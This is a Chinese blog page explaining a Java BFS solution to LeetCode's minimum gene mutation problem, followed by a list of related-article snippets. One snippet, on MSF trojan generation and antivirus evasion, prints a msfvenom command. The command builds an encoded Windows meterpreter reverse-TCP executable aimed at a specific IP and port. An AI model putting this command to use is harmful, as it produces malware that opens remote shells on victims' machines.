Leetcode 最小基因变化

java solution:BFS 算法
class Solution {public int minMutation(String startGene, String endGene, String[] bank) {//首先创建一个集合来存储有效基因串Set<String> bankSet = new HashSet<>(Arrays.asList(bank));if(!bankSet.contains(endGene)) return -1;//初始化BFS所需的char[] genes = new char[]{'A', 'G', 'T', 'C'};Queue<String> queue = new LinkedList<>();queue.offer(startGene);Set<String> visited = new HashSet<>();visited.add(startGene);int steps = 0;while(!queue.isEmpty()) {int size = queue.size();for(int i = 0; i < size; i++) {String current = queue.poll();if(current.equals(endGene)) return steps;//将当前字符串转换为字符数组char [] currArray = current.toCharArray();for(int j = 0; j < currArray.length; j++) {char oldChar = currArray[j];for(char g : genes) {if(g == oldChar) continue;currArray[j] = g;String mutated = new String(currArray);if(bankSet.contains(mutated) && !visited.contains(mutated)) {queue.offer(mutated);visited.add(mutated);}}currArray[j] = oldChar; // 回溯}}steps++;}return -1;}
}
好的,我们来详细剖析这段 Java 代码,理解它的算法思想和执行流程。这其实是一个经典的 图搜索问题,问题背景是基因变换,但本质和图上的最短路径查找非常类似。
🧠 问题建模(算法思想)
🧬 核心问题描述:
我们从一个 start 基因串(字符串),每次只能变换一个字符(只允许变换为 A、C、G 或 T),且每次变换后的字符串必须在 bank 中出现过,最终希望变换到目标字符串 end,求最少变换次数。
🗺️ 算法模型(抽象为图)
- 每一个有效基因串是 图中的一个节点。
- 如果两个基因串只差一个字符,且变换后的串在
bank中出现,那么这两个节点之间就有一条边。 - 要找的就是从
start到end的 最短路径长度(经过的边数),这是典型的**BFS(广度优先搜索)**应用场景。
🛠️ Java 代码详细解析
Set<String> bankSet = new HashSet<>(Arrays.asList(bank));
if (!bankSet.contains(end)) return -1;
✅ 初始化阶段:
- 把基因库
bank转成Set,加快查询速度(O(1))。 - 如果目标基因
end不在bank中,那肯定到达不了,直接返回-1。
char[] genes = new char[]{'A', 'C', 'G', 'T'};
Queue<String> queue = new LinkedList<>();
queue.offer(start);
Set<String> visited = new HashSet<>();
visited.add(start);
int steps = 0;
✅ 准备 BFS 所需的结构:
genes:4 个可选的字符,便于构造变异。queue:BFS 队列,初始化时把start放进去。visited:避免重复访问,防止死循环。steps:当前已经变换的次数,代表路径长度。
while (!queue.isEmpty()) {int size = queue.size(); // 当前层有多少节点
✅ BFS 主体循环:
- 每一轮 BFS 相当于一次“变异”,我们遍历当前层所有节点(当前的字符串),进行下一步扩展。
steps就是变换次数,每一层就对应一次基因变换。
for (int i = 0; i < size; i++) {String current = queue.poll();if (current.equals(end)) return steps;
- 从队列中取出当前处理的字符串
current。 - 如果已经变异成功(等于
end),返回当前的变异次数steps。
char[] currArray = current.toCharArray();for (int j = 0; j < currArray.length; j++) {char oldChar = currArray[j];
- 遍历字符串中的每一个字符,尝试每个位置进行变异(一个字符变成另一个)。
for (char g : genes) {if (g == oldChar) continue;currArray[j] = g;String mutated = new String(currArray);
- 尝试把当前字符换成
A/C/G/T中的其他字符,形成一个新字符串mutated。
if (bankSet.contains(mutated) && !visited.contains(mutated)) {queue.offer(mutated);visited.add(mutated);}
- 如果这个变异后的字符串合法(在 bankSet 中,且没访问过),就放入队列,作为下一层搜索的起点。
currArray[j] = oldChar; // 回溯,恢复原字符}}steps++; // 这一层结束,步数+1
}
- 每次外层
while循环结束,表示进行了一次合法变异,steps++。
return -1; // 如果队列空了还没找到,说明变不了
✅ 算法时间复杂度分析
- 状态数:最多为 bank 中字符串个数(假设为
n)。 - 每个状态的扩展操作:每个字符最多有 3 种变异方式(A/C/G/T 中除了自己),所以最多
8 × 3 = 24种尝试。 - 整体复杂度:
O(n × m),其中n是 bank 长度,m是字符串长度(固定为 8)。
🧪 示例解释
以示例 2 为例:
start = "AACCGGTT"
end = "AAACGGTA"
bank = ["AACCGGTA","AACCGCTA","AAACGGTA"]
BFS 过程:
- Start:
"AACCGGTT"→"AACCGGTA"(step 1) "AACCGGTA"→"AAACGGTA"(step 2)
结果:最少变换次数是 2。
如果你还想了解:
- 用 DFS 解法解决这个问题?
- 如何构造图再用 Dijkstra 来做?
- 或是如何扩展到通用的字符串变换题(比如 Word Ladder)?
可以告诉我,我们可以进一步延伸~
相关文章:
Leetcode 最小基因变化
java solution:BFS 算法 class Solution {public int minMutation(String startGene, String endGene, String[] bank) {//首先创建一个集合来存储有效基因串Set<String> bankSet new HashSet<>(Arrays.asList(bank));if(!bankSet.contains(endGene))…...
输出输入练习
1. 题目:这个程序将向用户提出一个"y/N"问题,然后把用户输入的值赋值给answer变量。要求:针对用户输入y或y 和N或n进行过滤 #include <iostream>using namespace std;int main(){char answer;cout<<"请问可以格式…...
人员进出新视界:视觉分析算法的力量
视觉分析赋能离岗检测新策略 随着时代的发展,失业率增加,社会安保压力也随之增大。企业为了提升管理效率,保障园区安全,对员工离岗检测的需求日益迫切。传统的离岗管理方式,如人工巡逻、打卡记录等,不仅效率…...
3DGS较真系列
引言 机器视觉领域中,新颖视图合成技术的核心目标是通过图像或视频构建可以被计算机处理和理解的3D模型。该技术被认为是机器理解真实世界复杂性的基础,催生了大量的应用,包括3D建模、虚拟现实、自动驾驶等诸多领域。回顾其发展历史…...
MSF木马的生成及免杀
先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…...
人工智能与无人机:无人机的进步与应用技术详解
人工智能(Artificial Intelligence,简称AI)是一门研究、开发用于模拟、延伸和扩展人类智能的理论、方法、技术及应用系统的新技术科学。 无人机,全称为无人驾驶飞行器(UAV),也称为无人机器人、…...
LeetCode算法题(Go语言实现)_12
题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 一、代码实现 func maxArea(height []…...
“11.9元“引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 ✨
💥 "11.9元"引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 🎯 🔍 用 Mermaid原生防御体系图 #mermaid-svg-XZtcYBnmHrF9bFjc {font-family:"trebuchet ms",verdana,arial,sans-serif;fon…...
SQL注入零基础学习二MYSQL手工注入
1.SQL注入之sqli-labs环境搭建 1.Sqli-labs项目地址—Github获取:GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. Sqli-labs环境安装 需要安装以下环境 apachemysqlphp Windows版phpstudy下载 - 小皮面板(phpstudy…...
可以媲美YOLO的开源实时目标检测模型:RF-DETR,在 COCO 上达到 SOTA 水平,并专为微调设计
RF-DETR:SOTA 实时目标检测模型 RF-DETR 是由 Roboflow 开发并基于 Transformer 的实时目标检测模型架构,采用 Apache 2.0 许可证发布。 RF-DETR 是第一个在 Microsoft COCO 基准测试中超过 60 AP 的实时模型,同时在基础尺寸下具有竞争力。…...
【hadoop】hadoop streaming
API: https://hadoop.apache.org/docs/stable/hadoop-streaming/HadoopStreaming.html(hadoop3) https://cwiki.apache.org/confluence/display/HADOOP2/HadoopStreaming(hadoop2) hadoop version查看hadoop版本&#…...
Unity-RectTransform设置UI width
不知道有没人需要这样的代码,就是.sizeDelta //不确定是不是英文翻译的原因,基本很难理解,sizeDeltaSize,//未必完全正确,但这么写好像总没错过 //image 在一个UnityEngine.UI.Image 的数组内foreach (var image in l…...
开发中后端返回下划线数据,要不要统一转驼峰?
先说结论。看情况!!!! 前端 主要用 JS/TS 建议后端返回 camelCase,减少前端转换成本。后端 主要是 Python/Go 建议保持 snake_case,前端做转换。但是团队统一风格最重要!如果统一返回驼峰就驼峰…...
【现代深度学习技术】现代卷积神经网络04:含并行连接的网络(GoogLeNet)
【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上,结合当代大数据和大算力的发展而发展出来的。深度学习最重…...
链表-LeetCode
这里写目录标题 1 排序链表1.1 插入法 O(n)1.2 归并排序 1 排序链表 1.1 插入法 O(n) /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullpt…...
TypeScript 与 JavaScript 对比
核心概念对比 JavaScript 语言类型:动态类型脚本语言诞生时间:1995年(ES1标准)类型系统:运行时类型检查文件扩展名:.js编译需求:无需编译,直接执行 TypeScript 语言类型…...
Selenium之Web Driver常用属性
Web Driver常用属性 在上一篇文章里我们安装并且使用了selenium来操控浏览器;这一节我们来看一下Driver的一些常用属性;可以方便和浏览器进行交互 废话不多说,下面以实践为主 获取浏览器名称 browser_name browser.name print(browser_n…...
EF Core 执行原生SQL语句
文章目录 前言一、执行查询(返回数据)1) 使用 FromSqlRaw或 FromSqlInterpolated 方法,适用于 DbSet<T>,返回实体集合。2)结合 LINQ 查询 二、执行非查询操作(增删改)1&#x…...
新版 eslintrc 文件弃用 .eslintignore已弃用 替代方案
1.进入eslint.config.mjs文件 2.import { defineConfig, globalIgnores } from "eslint/config"; 引入globalIgnores 3.配置 defineConfig([ ... globalIgnores([ "config/*", ".husky", ".local", "public/*", ".…...
Python二分查找【清晰易懂】
1. 二分查找是什么? 想象你在玩“猜数字”游戏: 对方心里想一个 1~100 的数字,你每次猜一个数,对方会告诉你是“大了”还是“小了”。 最快的方法:每次都猜中间的数!比如第一次猜50,如果大了&…...
Azure SDK 使用指南
Azure SDK(软件开发工具包)是一组由微软提供的工具和库,旨在帮助开发者以多种编程语言(如 .NET、Java、Python、JavaScript 等)与 Azure 服务进行交互。 通过使用 Azure SDK,开发者可以更高效地构建、部…...
【STL】vector介绍(附部分接口模拟实现)
文章目录 1.介绍2.使用2.1 vector的构造2.2 vector空间相关接口2.2.1 size()2.2.2 capacity()2.2.3 empty()2.2.4 resize()2.2.5 reserve() 2.3 vector的增删查改2.3.1 push_back()2.3.2 insert()2.3.3 pop_back()2.3.4 erase()2.3.5 swap()2.3.6 operator[]注:关于…...
一周掌握Flutter开发--8. 调试与性能优化(上)
文章目录 8. 调试与性能优化核心技能8.1 使用 Flutter DevTools 分析性能8.2 检查 Widget 重绘(debugPaintSizeEnabled)8.3 解决 ListView 卡顿(ListView.builder itemExtent) 其他性能优化技巧8.4 减少 build 方法的调用8.5 使用…...
游戏引擎学习第182天
回顾和今天的计划 昨天的进展令人惊喜,原本的调试系统已经被一个新的系统完全替换,新系统不仅能完成原有的所有功能,还能捕获完整的调试信息,包括时间戳等关键数据。这次的替换非常顺利,效果很好。 今天的重点是在此基…...
2025计算机毕设全流程实战指南:Java/Python+协同过滤+小程序开发避坑手册
技术框架的选择是项目开发的关键起点,直接影响开发效率和最终成果质量。然而,许多开发者在选择技术框架时面临困难:现有知识储备不足以支撑复杂项目需求,团队经验有限,框架选择缺乏前瞻性常导致后期问题。尽管技术框架…...
C语言_数据结构_二叉树
【本节目标】 树的概念及结构 二叉树的概念及结构 二叉树的顺序结构及实现 二叉树的链式结构及实现 1. 树的概念及结构 1.1 树的概念 树是一种非线性的数据结构,它是由n(n>0)个有限结点组成一个具有层次关系的集合。把它叫做树是因为…...
Compare全目录文件比较内容(项目中用到过)
第一步:找到“会话”——“会话设置” 会话设置弹框信息 第二步:选择“比较”tab标签 比较内容:选中二进制比较 第三步:选中所有文件 第四步:右键选中“比较内容” 第五步:选中“基于规则的比较”...
3.26[a]paracompute homework
5555 负载不平衡指多个线程的计算量差异显著,导致部分线程空转或等待,降低并行效率。其核心矛盾在于任务划分的静态性与计算动态性不匹配,尤其在处理不规则数据或动态任务时尤为突出。以稀疏矩阵的向量乘法为例,假设其非零元素分…...
视觉大模型CLIP论文精读
论文:Learning Transferable Visual Models From Natural Language Supervision 代码:https://github.com/openai/CLIP 摘要 最先进的计算机视觉系统是针对预测一组固定的、预先确定的对象类别进行训练的。这种受限的监督形式限制了它们的通用性和可用…...
【AI】Orin NX+ubuntu22.04上移植YoloV11,并使用DeepStream测试成功
【AI】郭老二博文之:AI学习目录汇总 1、烧写系统 新到的开发板,已经烧写好Ubuntu系统,版本为22.04。 如果没有升级到Ubuntu22.04,可以在电脑Ubuntu系统中使用SDKManager来烧写Ubuntu系统,网络情况好的话,也可以直接将CUDA、cuDNN、TensorRT、Deepstream等也安装上。 2…...
